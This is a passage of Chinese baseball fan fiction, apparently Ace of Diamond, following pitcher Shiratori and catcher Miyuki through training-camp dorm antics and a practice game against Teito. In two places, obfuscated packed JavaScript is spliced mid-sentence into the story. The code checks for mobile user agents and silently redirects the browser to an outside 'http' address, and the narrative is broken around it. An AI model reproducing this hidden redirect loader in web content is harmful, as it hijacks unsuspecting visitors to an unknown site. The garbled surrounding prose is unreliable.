于是各个宿舍里都开始窜人,熟悉的家伙们抱团蜗聚在一起吵吵嚷嚷的。 白鸟的宿舍里这次没有多出一大堆人,人全去仓持宿舍了,因为那里有游戏机。 “说真的,这游戏机真是救大命了。”仓持一边在游戏里激烈斗殴,一边吃着白鸟偶尔投喂的薯片,堪称享受。 他们二军的训练量虽比一军要小一点,但累成一只死狗和累成一只半死不活的狗没有什么本质的区别。 白鸟对对抗类游戏没什么兴趣,因此在旁边边翻漫画边吃零食,他们一天能摄入的垃圾食品也是定量的,这包薯片吃完也就结束了。 御幸从棒球杂志上抬眼,看了一眼白鸟和仓持,然后凑过来“啊——” 白鸟塞了一片薯片进男高的深渊巨口,宛如丢了一片纸在海里。 三个男生分一袋薯片当然几口就没了,白鸟遗憾地把薯片嘉宾送走。 川上看的眼睛疼,嘴角抽抽,眉梢抽抽,年纪轻轻感觉就要患上中风了:“他们一直是这个样子吗?” 前园哼哧哼哧从能挑花眼的一堆零食中抬起头:“谁?什么样子?” “没有吧,就是最近格外黏糊,可能是热恋期吧。”白洲淡定地说出了了不得的话。 三个人的热恋期吗?! 如果想要他们打好关系需要付出的是羞耻心的话,那还是算了吧……川上默默想到。 一堆一年级中,夹着一个显眼的三年级,村田光横躺在地上看着漫画,本来大家因为他还挺不自在,不过村田实在没什么架子,也就渐渐放开了。 问他为什么来一年级这里。说是因为三年级有些学长巨喜欢飙歌,但是唱的又难听,他来这躲躲清闲,无视他就好。 “我说啊,我国中加入过骑行社哦!” “真的假的?骑行社就是骑自行车吗?那有什么好玩的?” “那就是你不懂了!”那个男生反坐在椅子上,闻言不服地把椅子当作车演示了起来。 “骑山地车很酷的,在山道上下行的时候,速度能快到飞起,就是很危险就是了,当时骨折恢复了好久呢。”男生兴奋地在椅子上左摇右摆演示自己曾经的英姿。 椅子摇摆的角度越来越大,眼见着岌岌可危,这位同学马上就要乐极生悲了,可是一团糟的宿舍里并没有人注意到这点,连和他说话的朋友,都在低头看着手机。 所以当一团黑影伴随着惊叫向着自己砸过来的时候,白鸟的反应速度反而比那个差点摔倒的男生还要让大家惊讶。 只见白发的帅哥半揽着椅子和椅子上的那个男生,呈现一个优雅的、只会出现在少女漫画里的姿势对望着。 “谢、谢谢…” 如果世界真的是本漫画,此时周围就要出现华丽的网格和花朵了吧。 帅不到半分钟,白鸟两腿一软跪倒在地,连带着椅子和椅子上的男生也重新摔落在地上,不过还好有白鸟挡了一下,并没出事。 御幸还以为白鸟怎么了,焦急地拉住白鸟的胳膊:“撞到哪里了?” 白鸟沉默了片刻:“今天太累了,突然站起来腿软了一下。” “……” “突然变得好糗啊。” 见此意外无人受伤,只有白鸟的自尊心因为出糗而裂开,大家都笑了起来。 “什么嘛,还以为会见到什么粉红色的发展,结果气氛突然就被腿软的帅哥破坏了。” “你还想见到什么粉红发展啊,吉田长得太普通了吧,和白鸟一点都不搭。” “把吉田换成女生,再把后面腿软那段卡掉,就完美了。” 村田把一切尽收眼底,嘴角露出一点坏笑:“那你觉得谁搭?” 那男生还真认真思考了一番:“同年级里只有白鸟御幸长得不错吧。让御幸来,正好捕手是投手的女房役,完美!” “喂,这是多老的梗了,还玩啊!”御幸不满地大叫,可惜没人考虑他的意见。 大家来了兴致,把吉田扔到一边,然后将御幸硬是塞进了白鸟怀里。 “来来来,再摆一下刚刚那个姿势,这次白鸟你可不能腿软了啊!” “打光组打开台灯!” “再来个鼓风组,拿着那边的杂志来当扇子扇!” 居然还有人当上导演开始指挥现场了,白鸟突然特别想吐槽,有这精力,要不要大家再去球场多跑几圈吧。 白鸟被民意裹挟,和怀里的御幸面面相觑,御幸觉得不能只有他丢脸,突然戏精上身开始演了起来。 “阿、阿那达(亲爱的),谢谢你接住了我。” 画外音是导演不满地怒斥:“怎么真变成老婆了!那有什么看点?你现在是对白鸟一见钟情的怀春少女!” “人妻也不错啊!”这是不知道谁的小声反驳。 “把他眼镜摘了!带着黑框眼镜一点氛围都没有。” 旁边立刻伸出几只手拿走了御幸的眼镜。 御幸头上冒出一个巨大的井字,黑气升了起来,他咬牙皮笑肉不笑道:“你们明天给我等着。” 然后他很能屈能伸地在所有男生的虎视眈眈下换了个方式:“谢谢前辈接住我,在整理图书的时候还这么冒失真是不好意思?” 你这不是演的很开心吗?!连前后辈、图书馆这些背景都预设好了啊!仓持在内心大声吐槽。 这捏着嗓子的矫揉之声,配合着没了眼镜因为近视而迷茫失焦的眼睛,还真让御幸有了点我见犹怜的少女感。 白鸟嘴角抽搐,差点维持不住表情,沉默了半晌才道:“你没事就好,举手之劳而已。” 不知道谁的画外音点评:“好僵硬啊。” 御幸“娇羞”地笑了起来:“我的脚好像不小心扭到了,能麻烦前辈扶一下我吗?” “果然御幸就算扮女孩子,也是个阴险不讨喜的家伙。”仓持的声音突然传了过来。 白鸟:“……”真的好出戏。 注意到御幸没了眼镜后就有点僵硬,白鸟顺势改变姿势,把他从半躺着的姿势扶了起来,然后轻轻拍了下他的手臂以示安慰。 御幸站直身体,悄悄松了口气。近视真的不方便,没了眼镜周围人的脸都像蒙了一层磨砂,唯有近处的白鸟看的清楚。这种依靠他人的状况,对他这个喜欢完全掌控周遭的性格而言,有点糟糕。 白鸟环顾了一下,顺手拿过其他人搁在桌上的眼镜,随口编着台词:“我送你去医务室吧。” “这是我的Line,我们交换一下联系方式,之后有什么需要我帮忙的尽管联系我。” 说着Line,白鸟把眼镜给御幸戴上了。 随着清晰起来的视野,最先映入眼帘的是纤长的白色睫毛,随后是睫毛下露出的一点熔金。御幸一直没怎么注意过同性的脸,但此刻他突然意识到白鸟的这张脸确实威力惊人,他推了推回到脸上的眼镜。 旁边幽幽传来吐槽:“这眼镜就是白鸟你的Line是吧?” 人群中的川上捂着脸在心中再次道:‘如果打好关系是要和他们一起丢脸的话……那还是算了吧。’ 戴回眼镜的御幸像是终于穿上了衣服,拿回了他的自信,紧接着他就开始恩将仇报,拉住白鸟的胳膊一拽,两人瞬间掉转了身份,他嘴角一咧:“这位美丽的小姐,请问芳名为何?” “哦哦哦!白鸟的话,如果是女孩子,我可以!”导演突然激动起来。 “我也可以!” “我也我也。” 话题突然转变,想一出是一出的少年们抛弃了演技拙劣的御幸白鸟,开始讨论,如果兄弟变成了女孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二天,果然那几个带头起哄的被整的很惨,不仅有前辈们盯着训练,还有御幸这个面白心黑的在训练之余热情“帮忙”。 同期们横七竖八地躺在泥地里,尸横遍野,纷纷表示再也不敢了。 疲劳是一天天累积的。 第一天晚上大家还有精神搞个聚会,后面一天比一天累,能坚持洗完澡再上床已经是极限了。 合宿的最后两天是练习赛,监督邀请了大阪桐生、修北、帝东、红海大相良四所学校,分别为最后两天来做收尾。四个强校四个投手,其他守备人员一军二军混合,他们都需要在集训的疲惫下独自应对整场比赛。 倒数第三天的夜晚,仓持、御幸重聚在白鸟宿舍。 明天就是练习赛了,三人都没睡着,夜深人静时分,种种思绪突然接踵而来,屋内有人压低声音问道:“有人还没睡吗?” “没有~” “嗯。” 仓持熟练无视御幸的犯贱:“明天的练习赛一定很重要,唉……一想到就睡不着。” 有关投手的分组在当天就公布了:白鸟对帝东,柴崎对大阪桐生,丹波对红海大相良,水谷对修北。 夏甲预选赛的正选名单直接和明天的练习赛表现挂钩,今晚睡不着的一定不止他们。 对于三年级而言,这是最后一次能否打进甲子园的机会,比起在观众席上应援,他们肯定更想在赛场上。 可谁不想上场呢?棒球社有一百多人,真正能站在赛场上的却永远只有那么9个。 三军想进二军,二军想进一军,一军还有正选替补之分。 汗水与光阴凝结的桂冠,最后只能戴在第一的头顶,其他都是失败者。 体育竞技的残酷,永远那么明显直接。 仓持不会觉得,白鸟和御幸的处境就一定比还在二军的自己好,各人有各人的困境,各个处境有各个处境需要面对的问题。 白鸟听着仓持和御幸的对话,有些出神,一直没再说话,正当他两以为白鸟已经睡着了,准备结束对话时,白鸟却忽然低声道:“我想和你们一起去甲子园。” 仓持怔住,他回过神把被子一把拉过头顶,埋在被子里闷声闷气却坚定道:“我知道了!” 御幸无声地笑了。 23. 日曜日 集训最后一天是一周中的日曜日,帝东将在上午10点达到青道高中进行练习赛。 “今天怎么这么冷啊。”仓持搓了搓胳膊,打了个哆嗦。 昨天与大阪桐生的比赛仓持已经登过场了,四打席1打点,他有些不满意。好在今天与帝东的比赛,他还能再上场一次,这次一定要表现的更好,这样才能让教练看见他! 而且,这可是他第一次在白鸟身后守备,仓持心中期待与紧张并重。 有趣的是,今天的白鸟似乎也有些紧张。 御幸确定那不是自己的错觉,这让他感觉还挺新奇的,无论是红白赛还是关东大赛登板时都没见白鸟紧张过,为什么会为了今天与帝东的练习赛紧张呢? 要说担心进不了正选那是无稽之谈,在御幸看来他们想今年进入夏甲,白鸟的投球是不可或缺的战力,他觉得自己一定要搞清楚这离奇的事。 于是这么想着,御幸就直接问了出来。 “你为什么在紧张?” 白鸟怔住,他下意识反问道:“我在紧张?” 这么去想的话,确实今天感觉格外的焦躁,白鸟恍然大悟。 他低头看了一眼今天要投球的右手,手张开又合拢,也许是因为;连日的疲惫,也许是因为今天第一次和仓持御幸三人一起上场比赛……都不是,白鸟的内心响起一个声音。 只是一场练习赛而已,远不会对你产生这样的影响,你只是…… 白鸟有点迷茫地开口:“这是我第一次并非状态最好的时候上场比赛。” “如果是这样无法掌控自己的我,这次比赛一定会被打出去的。”这里的打出去指的是会让对方打者上垒得分的意思。 说完白鸟惊觉这句话中透露出的傲慢,他立刻闭嘴,但是话已出口如何能收回,他警觉地看向御幸。 御幸在憋笑,他脸颊鼓起嘴巴撅起,一看就憋的很不走心。白鸟一看过来他立刻破功。 “什么啊!这发言!” “如果被监督听见的话,肯定会被教训吧哈哈哈哈哈,如果让昨天被修北打爆的水谷学长听见,就更不得了哈哈哈哈!” 哈哈哈仿佛化作实体一个一个砸在白鸟身上,让白鸟一脸黑线。 好不容易止住笑,御幸指着白鸟说道:“就是这个啊,就是这个,这份好胜心!” 他的眼睛宛如被点燃的火焰,那四溅的焰星闪烁在眼底如白日的星光:“如果是其他人肯定会对你说,被打出去是理所当然的,投手站在投手丘上就要有这样的心理准备。” “可是不想被打出去有什么不好!”御幸笑得放肆张扬。 御幸走近,那指着他的手张开,拍在他的胸口:“这种时候就来依靠我吧,我可是你的捕手。” 喜欢掌控球场的投手与同样喜欢掌控球场兼之掌控投手的捕手。 白鸟的压抑的自我下是张狂的底色,从他的眼中向来只有梦中的投手绫濑川就能发现了,除绫濑川,从不见他有关注别的投手。 他需求道路上的同伴,可不代表他需求被他人掌控。他会自己研究记分册,会自己配球,不只是因为那一年多只能独自前进。 所有的妥协都是为了更进一步的得到。 今天是个有风天,吹拂的风卷着季节性的冷空气绕过这对搭档。 没有对峙,没有僵持,白鸟轻松点头接受了御幸的要求。 但如此简单的就得到了想要的,反而让御幸有点不满足,可能这就是男人的劣根性吧。 他思考片刻问道:“今天答应我的,你真的知道是什么吗?如果我在比赛中让你投一个你非常不喜欢的球,你会投还是摇头。” 白鸟果断道:“我会摇头。” “哎?”御幸语调上扬。 “因为投手不是投球机器,捕手也不是接球网,”白鸟眼中闪过笑意,他可没有被御幸绕进去,“你想要的是投捕一起完成的作品,我说的没错吧。” 太对了让人很没有成就感啊! “你这不是很懂吗!”御幸没辙了,抱怨般拉长了声音,白鸟被他逗笑了,紧张感也随着谈话消失殆尽。 御幸确实做到了他的承诺:只要你站在那个投手丘上,我永远不会让你只是孤身一人。 他在告诉自己,投手投球,捕手配球,两者是一起应对打者的,如果被打出去,那一定不是一个人的过错。 虽然说话的方式拐弯抹角,但是他的目的其实很单纯。 开心过后,白鸟思考了一下道:“其实,我最近有自己练过伸卡球。” “什么?!”御幸这下语调的升高就不是装出来的了,他搭住白鸟的肩膀,又惊又喜又生气,宛如审问犯人般逼近白鸟。 “我为什么不知道?你和谁练的?!你是不是超出每天投球数了?还在集训哎!你疯了吗?!”连珠炮一样的字句从御幸嘴中吐出,生气最后压过惊喜,让他恶狠狠地瞪着白鸟。 白鸟步步后退,直到后背抵在墙上,他狼狈地举手投降:“没有没有,我自己对着接球网练的!没有超出投球数,是我有时候练投时省下的球数,我不想浪费,就自己试着练了一下新的球种。” 生气的捕手把他语速都逼得快了很多。 御幸将信将疑,投手为了投球什么话都说得出来,他还是被白鸟表面的老实欺骗了,没想到这小子也能做出偷练新球种的事了。 “那练的怎么样了?”捕手生气中还是没忍住问了起来。 白鸟小心翼翼瞥着御幸黑了一半的脸:“已经……能投出来了,就是有时候能进好球带有时候进不去,不知道实战会怎么样。” 御幸气笑了,他伸手扯住白鸟的脸:“你这家伙给我记住,下次不许在没我允许的情况下瞎练新球。” “知道了……”白鸟被扯着脸,只能含糊道,他可怜兮兮地看着御幸企图获得谅解。 “啊啊—如果再有下次,我就不给你接球了。”御幸佯装自己还在生气,放下狠话。 “骗人的吧……”投手顿时惊呆。 “是不是骗人的呢~”捕手坏笑。 “因为之后还有和帝东的练习赛,等明天投给我看看吧。”御幸后退一步,暂且放过了突然变得不省心的投手。 他正准备让开空间,白鸟反而往前走了一步,把拉开的距离重新缩短了。 白鸟一如往常微笑着,背后却仿佛绽开了一朵朵黑色的百合:“刚刚说不给我接球是骗人的吧……” 御幸傻笑:“啊~是不是呢?” “你这人有时候还真是坏心眼……”白鸟面对他这死猪不怕开水烫的样子泄了气,郁闷地耷拉下肩膀。 御幸笑而不语,有时候投手这么努力让捕手也压力山大啊,不过压力之余能和这样的投手一起成长让他感到无比激动。 如果真如白鸟所言,只是集训期间零星省下的球数就能练出伸卡球,那还真是让他都忍不住称赞一声「怪物」的天赋。 一年级还未过去一半,白鸟已经练出了两个新球种,这天赋如烈日煌煌照耀着投手阵,逼得人不得不跟着进化,惶恐于被抛下,融化在那炽热的高温中。 帝东高中的总教练也就是监督,是以「神之击球」闻名的冈本一八。 在他的带领下,帝东拥有着宛如铜墙铁壁般的防守,和这样的队伍比赛,对打者的要求很高,任何球路简单的击球都有可能被接杀。 而有着这么一个强打教练的帝东,其打者质量自然也不会差。总之,这是一个打击守备发展均衡的同时并不平庸的球队。 同为东京队伍,西东京是稻实、市大三、青道三校角力,东东京就是帝东称霸的天下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674056|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“冈本监督,欢迎来到青道,您能愿意答应这场练习赛真是我们的幸运。”高岛礼迎上从大巴上下来的帝东监督,言辞间十分谦逊。 冈本监督豪爽地笑了几声:“贵校也太自谦了,我们和青道可是老朋友了!” 片冈在高岛之后再次与冈本握手:“冈本教练好久不见,希望这次的练习赛,能令我们都满载而归。” “听说你们今年招了一对非常优秀的投捕,他们在关东大赛上可是引起了一番热议啊!我很期待哦~”冈本监督浑身仿佛燃起熊熊烈焰,言行一致地表露出他的好奇与期待。 片冈爽快道:“他们会在与贵校的练习赛中登板的。” “哈哈哈!那太好了,感觉浑身都燃起来了啊!”冈本监督哈哈大笑,身上虚幻的火焰燃烧的更加猛烈了。 跟在教练身后的帝东队员们习以为常地后退半步,把场地让给教练自由发挥。 A面球场中,青道的队伍正在热身。 帝东练习赛中上场的球员分别是:投手白鸟京,捕手御幸一也,一垒手结成哲也,二垒手矢岛明,三垒手增子透,游击手仓持洋一,左外野手山中景虎,中坚手小岛悠真,右外野手白洲健二郎。 前园和白洲在关东大赛后进入了二军,总的来说这队一军二军的选手分布均匀,但很显然一年级人数超标。 内野在互相扔球,四个选手都臂力不错,小球在垒包间飞的虎虎生威。 “嚯!这是在威慑我们吗?”帝东的选手们在球场边的防护网边停下,饶有兴致地看着青道队员们在热身。 他们也知道,今天和他们打比赛的就是现在球场上活跃的家伙们。 “嗯……总感觉他们的动作有时候并不到位呢。”其中一个队员有些迟疑道。 高年级的摆摆手:“青道在夏甲预选赛之前会让选手们合宿集训,然后在集训最后两天和他校打练习赛。” “你觉得他们动作不到位,是因为这些选手的身体并不是最佳状态。不过就算知道了这些,也不能留手,知道了吗!”帝东的前辈严肃警告了面上流露出迟疑的后辈。 “明白了!” 今天会上场的三年级投手森野健和看向身边的小学弟:“宪刚,你似乎不太赞同青道的做法?” 帝东的一年级捕手乾宪刚皱着眉头,少年老成的脸上一片严肃:“这样会对球员的身体造成很大负担吧,尤其是投手。” 森野看向A球场内气势汹汹的青道球员们:“那就是他们教练该担心的了。” “宪刚,你觉得高中棒球是什么样的?那些为了进入甲子园,为了在甲子园走的更远的投手,他们燃烧手臂,燃烧自己的未来。” “难道他们就不知道自己这样做将会对未来造成怎样的影响吗?” 投手轻笑一声,并非嘲笑:“高野是「魔性」的赛场,很多人在此赌上了自己一切也要进入那个圣地。” “这只是不同人不同的选择罢了,没有谁比谁高贵,也没有谁比谁愚蠢,他们不需要别人的理解。” 捕手懵懂地听着前辈的告诫。 森野看着他似懂非懂的样子,噗嗤一下笑出声来:“只要一直打棒球,你总会明白的。” 乾宪刚宛如被雷劈中般恍然大悟,他准备把森野前辈的话当作一个任务,于是严肃地点头道:“我会的!” “哎呀!就是因为你总是这么较真,还长得这么成熟,一点都不像个可爱的学弟啊!” *** “太阳你要去帝东?决定好了吗?” “是的。我喜欢他们的棒球风格,而且就赛区而言东东京比西东京好多了。我要去甲子园看看。”向井太阳看着今年春甲帝东比赛的直播录像,下定了决心。 “好,既然你已经决定了,那我也要加油!到时候我们甲子园见!” 24. 练习赛·帝东 这种正经练习赛的广播一般是校内的广播社负责。 围绕青道的王牌社团棒球社,各种社团的活动都与其脱不开关系。 比如此时正在念稿的广播社,正赛时应援席上的吹奏社、摄影社,会报道青道棒球社比赛的新闻社等等。 能有这么多社团配合,当然是因为棒球社在青道地位超然。 不过作为私立学校的青道高中占地面积巨大,其中体育社团也不只有棒球而已,足球社因为社会的推广,目前也在稳步崛起。 同时因为棒球社近几年的成绩都不佳,作为负责人的几位教练压力都比较大,尤其是接任榊监督作为总负责人的片冈监督。 青道场内热身结束后,帝东的球员们开始上场热身。 增子透有些紧张地看着场内的帝东球员们:“乌嘎!” 山中景虎在一旁紧拧着眉头沉默着,他看着很不好招惹的脸上表情有些烦躁,因为昨天与大阪桐生的比赛他表现差劲,甚至在内野因为守备失误让对面打出了一发本不该出现的二垒安打。 作为原本的二垒手,本就被小凑这个学弟逼得不得不退去外野才能保住先发位置,如果再不精进技术,迟早会被这些越来越汹涌的后浪拍死。 可惜并不是所有努力都能得到成果,获得成功的……他似乎已经到了自己实力的上限,这是山中怎么都无法承认的绝望现实。 这也导致他最近情绪糟糕,耐心巨减,状态变得越来越差,完全是恶性循环。 有时候,被泥沼吞没时可怕的不是结果,而是那个缓慢窒息的过程。 “可恶,这也不是他们的先发阵容吧,这么看不起我们吗?”山中虎目一瞪,开始碎碎念。 这次比赛的二垒手矢岛明后脑勺滑下一滴巨汗:“山中你冷静一点,我们还有很多是一年级选手呢,对面的阵容可比我们好多了。” 帝东此次练习赛的上场人员有一军的先发,也有替补和二军,和青道一样是混合阵容。 守备核心的投捕:投手森野健和是正选背号11的投手,擅长的变化球是曲球,捕手是二军的宫本茜。 结成哲也作为临时的队长去与帝东的队长四棒八木天羽猜拳,赢的那方决定先攻还是后攻。 不出所料,结成输掉了。 他一脸平静的回到队伍:“我们是后攻。” “我就知道,结成你的手气和东一样差。”矢岛吐槽。 山中还在碎碎念:“难到成为强棒最重要的是手气要差吗?” "应该不是吧。"结成一本正经地回答。 “肯定不是吧!为什么这里要用应该啊!”矢岛感觉自己在这组要变成吐槽役了,真是让人觉得前途无亮,还好还有两个可靠的学弟。 矢岛作为三年级的二军选手其实和白鸟御幸相处的不多,但对于如此快速就进入一军还能在正赛打出成绩的两人,他一直是带着强者滤镜去看他两的。 另一边。 御幸的脸皱成一团,那张帅脸已经完全变成了表情包,他憋了半天还是把嘴里的液体咽了下去然后火速拿起自己的水杯灌了几口。 “这什么毒药,怎么这么酸还发苦?”好不容易缓过来,御幸立即抱怨道。 白鸟拿着自己泡的柠檬水疑惑地看了一眼:“有那么酸吗?” 他举起就要喝,被御幸赶忙拦住:“你等会儿就要上场了,别被这毒药影响了投球手感啊!” 白鸟站在原地有点失落地看着那被夺走后放得远远的杯子,这是他第一次独立动手做的完的,有那么差吗?居然说是毒药…… 御幸想起平时家政课白鸟只负责过洗菜之类的工作,切菜和烹煮都是别的组员负责,因为这两项工作都有伤手的可能。 这家伙原来是个烹饪白痴吗?但泡柠檬水算哪门子烹饪啊! 御幸无奈地叹了口气:“你都往里面加了什么啊?下次还是我来吧。” “柠檬、香叶、枸杞……之类的吧。” “一也很擅长烹饪吗?”白鸟也跟着想起家政课时御幸一般都负责最后的烹煮调味,做出来的东西都还蛮好吃的。 “马马虎虎能吃的程度吧。”御幸不否认自己对料理还是蛮感兴趣的,但是那只是自己能吃的程度,说美味的话,那是白鸟太能夸了。 仓持在一边黑线:“快比赛了喂!聊什么烹饪啊,你们以为现在是在上家政课吗?” 如果说那边的吐槽役担当是矢岛的话,这边的就是仓持了。 随着广播再次响起,白鸟拿起手套准备走上投手丘,御幸走在他身边。 他拍了下白鸟的背部,留下一句:“相信我。”便和白鸟兵分两路。 仓持路过投手丘,也郑重落下一句:“我会守好你的后背,尽情投球吧!” 真是……说出这些话也太帅了。白鸟站在投手丘上,身前身后一直都是他信赖的伙伴,这种感觉真是太棒了。 “一垒侧,青道高中。” “三垒侧,帝东高中。” “一局上半,帝东高中攻击。一棒,右外野手,小川君。” 白鸟低头看着平整的投手丘,白色的投手板反射着光线在太阳下仿佛在发光。 这也是打者小川的想法,投手白色的头发有点亮眼啊,还好戴了帽子,这些天生特殊发色的家伙真幸运,仿佛神明在创造生命时更偏爱了他们几分一样。 不对不对,现在不是想这些乱七八糟事情的时候。小川深吸一口气,这个投手在关东大赛时有报道,说他球速不低,控球也好,不知道在集训的疲惫下,能有那时的几成功力呢? 御幸瞥向站在左打席的一棒,小川的身高中等偏下,身躯看上去很结实,外野手能被安排在一棒,说明他脚程不差。 脑袋里划过这些想法,御幸手套举高了一点,与打者胸口平行。 ‘内角高位,好球带边缘的高球,能做到吧!京!’御幸面罩后的眼睛灼灼注视着投手丘上的白鸟。 白鸟用手套遮住微微上翘的嘴角,一也还真是信任我,第一球就配这么难投的球,不过这种被信任的感觉他非常喜欢。 帽檐下金色的眼睛闪闪发光,白鸟投球时给人带来的压力与场下温柔包容的气质截然相反。 他站在投手丘上投球时几乎没有表情变化,专注力惊人,投手丘旁边的空气都仿佛凝固了,而这种专注力会演变成对打者的压迫。 小川就受到了这无声地压迫,他也是进过甲子园的选手,自然明白对面的投手绝不是什么好对付的家伙! 白鸟感觉身体很沉重,筋骨各处都是强化训练后留下的酸涩感,但是他能做到!棒球倏忽间从投手丘上呼啸而来,小川眼睁睁看着那路线直奔自己胸口。 失投了?!因为对青道选手状态的不信任加之那球的赫赫威势,他下意识后退一步,棒球没入纹丝不动的捕手手套中。 “Strike!” “哇,捕手配球攻击性很强啊,投手投的也很好,真难看出是集训中的状态。”防护网外传来一些休息日专程来看青道练习赛的OB们的赞叹。 御幸接住这包含投手意志的一球,起身扔了回去:‘收着点力气,你忘了要投九局吗?’ 白鸟摸了下帽檐表示知道了。 御幸蹲下又配了个内角球,不过这次是内角低位球,也是压着好球带的边边角角,小川咬牙挥棒却并没有碰到棒球。 虽然很快,但不是打不到!小川并没有气馁。 ‘第三球打者肯定以为我会配外角低位球吧,传统的配球就是以内角外角配合,创造一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674057|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种外角球很远的错觉。’御幸笑得腹黑。 他挪动了一下位置。 ‘这里就用那个吧,变化幅度不用太大,你可以做到吧。’ ‘当然。’白鸟微微扬起下巴,看向那个手套。 打者集中精神,待看见投手投出棒球,白色小球的身影向着外角奔去,他踏出一步,伸长了球棒。 ‘果然。’御幸暗想。 可棒球接近本垒板的前一秒却瞬间向着内角折射过去。 切球?!小川大惊,大力空挥下在本垒处踉跄了几步。 似乎是知道打者在想什么,御幸接住球在心中笑嘻嘻地回答:‘不对哦~是滑球,因为我特地让他放小了横向变化弧度,这颗球确实像是一颗「小切球」会认错很正常啦。’ 白鸟顺畅地三球三振了帝东的第一位打者,似乎在以此告之众人他今天的状态很好。 吼吼吼,冈本监督咧嘴笑,真是对燃烧着熊熊火焰的投捕啊!这一定会是场好比赛呢! 捻着指尖的防滑粉,白鸟看着二棒走上打击区,这还是他第一次被要求投完九局呢……想起上场前御幸说的话。 “为了节省你的体力,我会要些一定会被打出去的球,相信你身后的守备吧。” 白鸟伸高手臂。 二棒空挥了第一球,第二球他见球速变慢了棒球微微上浮,以为是白鸟失投,果断挥棒。眼见球棒击中,他眉梢都上扬了,却在棒球倒飞出去的那一刻变了脸色,可恶球威好重啊! “我来!”仓持大叫一声,伸出手套接住了这个往二三垒飞来的小球,因为打者被球威压制,这球的飞行速度不快,意外的好接。 仓持对着转过身的白鸟大喊:“投的好,京!” 白鸟向着仓持笑了笑,回头面对打者时很快又恢复了没有表情的样子。 ‘哈哈,这幅面无表情不知道在想什么的样子,是投手丘限定的白鸟哦~’御幸看着打者紧张的样子,偷偷笑了笑。 后面的三棒,也是引诱他打出了一记高飞球被守备接杀作为结束。 “哎?怎么不继续三振了,那个好看啊!” “你傻啊,以昨天的练习赛来看,白鸟要投满九局肯定要节省体力,养生流也不是随便就能投出来的好吧!” 随着场外观众的议论纷纷,攻守换防。 森野站上投球丘喃喃自语:“上半局结束的真快啊……” 和捕手热身了几球,森野便开始面对青道打席的第一个打者。 “一局下半,青道高中攻击。一棒,游击手,仓持君。” 总觉得,这场比赛里的一年级的真多啊。森野这么想着,跟着捕手的暗号用力投出手中的棒球。 仓持挥棒没能跟的上,有些不甘的皱眉,冷静啊冷静,要看清球路再出手! 如果后辈都是这种天才,让他这个前辈还怎么活啊。森野想着这些乱七八糟的东西,投出的球却很稳定,和小川不一样,在心里碎碎念是他缓解紧张的方式。 仓持虽然极力想要冷静,但是他略有点急躁的心态还是被老练的捕手看穿了,这对投捕像是要回敬上半场的情形,让仓持打出个三垒方向的高飞球,接杀了他。 这个三垒手是他们的四棒吧,守备很优秀啊。休息区的御幸着重看了三垒的方向几眼。 帝东的投捕非常稳健,兼之他们铜墙铁壁般的守备,青道的三个打席同样无功而返。 二局上半,白鸟需要面对的第一个打席,就是刚刚接杀仓持的四棒——八木天羽。 ‘这是帝东的先发四棒,在帝东这支队伍里能够成为先发四棒,其击球技术绝不可小觑,拿出面对东前辈和结成前辈的状态吧!’ 御幸和白鸟对视一眼,皆在对方眼中看到了沸腾的战斗欲。 25. 时机 都说初生牛犊不怕虎,但这对年轻的投捕并非莽撞之人。 八木轻轻哼着歌走上打击区,似乎一局上半队友的失力并没有带给他压力,他拿着球棒比了比投手丘眼中满是兴奋,能和有实力的投手对决真是太棒了! ‘这家伙是左打啊……’御幸没有思考太多,白鸟目前控球还很稳定,球威也足。 “八木是选球型的四棒,他的眼力很好。”休息区,增田看着打席上已经做好准备的八木,有些忌惮地说道。 村田眼中蕴着笑意:“但是我们的小天才们也不是好对付的。” 只要白鸟愿意,他会是最好的战术执行者,投球前白鸟扫了八木的站位一眼。 白鸟和御幸因为默契充足,所以他们的投球节奏很快,不会给太多打者思考和调整的时间,但面对八木,白鸟投球的速度变慢了。 看客们猜测是因为谨慎,但青道的前辈们都觉得不是,毕竟队内面对东和结成时这对狡猾的投捕也没有犹豫过。 虽然前两球节奏慢,但八木反而愈发兴奋,全是难打的压线球,这投手的球确实很难出手,非常考验打者的抓点能力。 一好球目送,一好球挥空,两球追逼八木后,白鸟在第三球突然就不像之前一样在投手丘上磨蹭了,选球型的强棒都拥有一双好眼睛与优秀的球感,御幸几乎不会在面对这种类型的强棒时配坏球,因为那除了额外增加白鸟的体力消耗外没有任何作用。 以前两球做铺垫,他已经大致明白了八木喜欢的击球timing,白鸟接过御幸扔过来的棒球,在八木摆好击球姿势的瞬间他流畅地抬腿掷出手中棒球,以一球刁钻快速的内角四缝线送他下场。 猎猎球风擦过他的脸颊,让已经习惯前两球节奏与速度的八木猝不及防,只能眼睁睁看着棒球没入捕手手套。 “八木前辈,这球很棒吧。”御幸忍不住出声道,他面罩下的眼中满是赞赏,要知道这次的战术配合他们甚至没有用到暗号。 八木耸耸肩走下场:“真看不出来你们才一年级。” “这球的速度是目前这局里最快的吧?” “不仅快而且节奏掌握的很好,他从准备到出手的时间一定不超过20秒。” 拿着测速枪的人看着上面的数字:147KM/S,之前的球速都在143KM/S左右徘徊,这球确实是目前的最速。 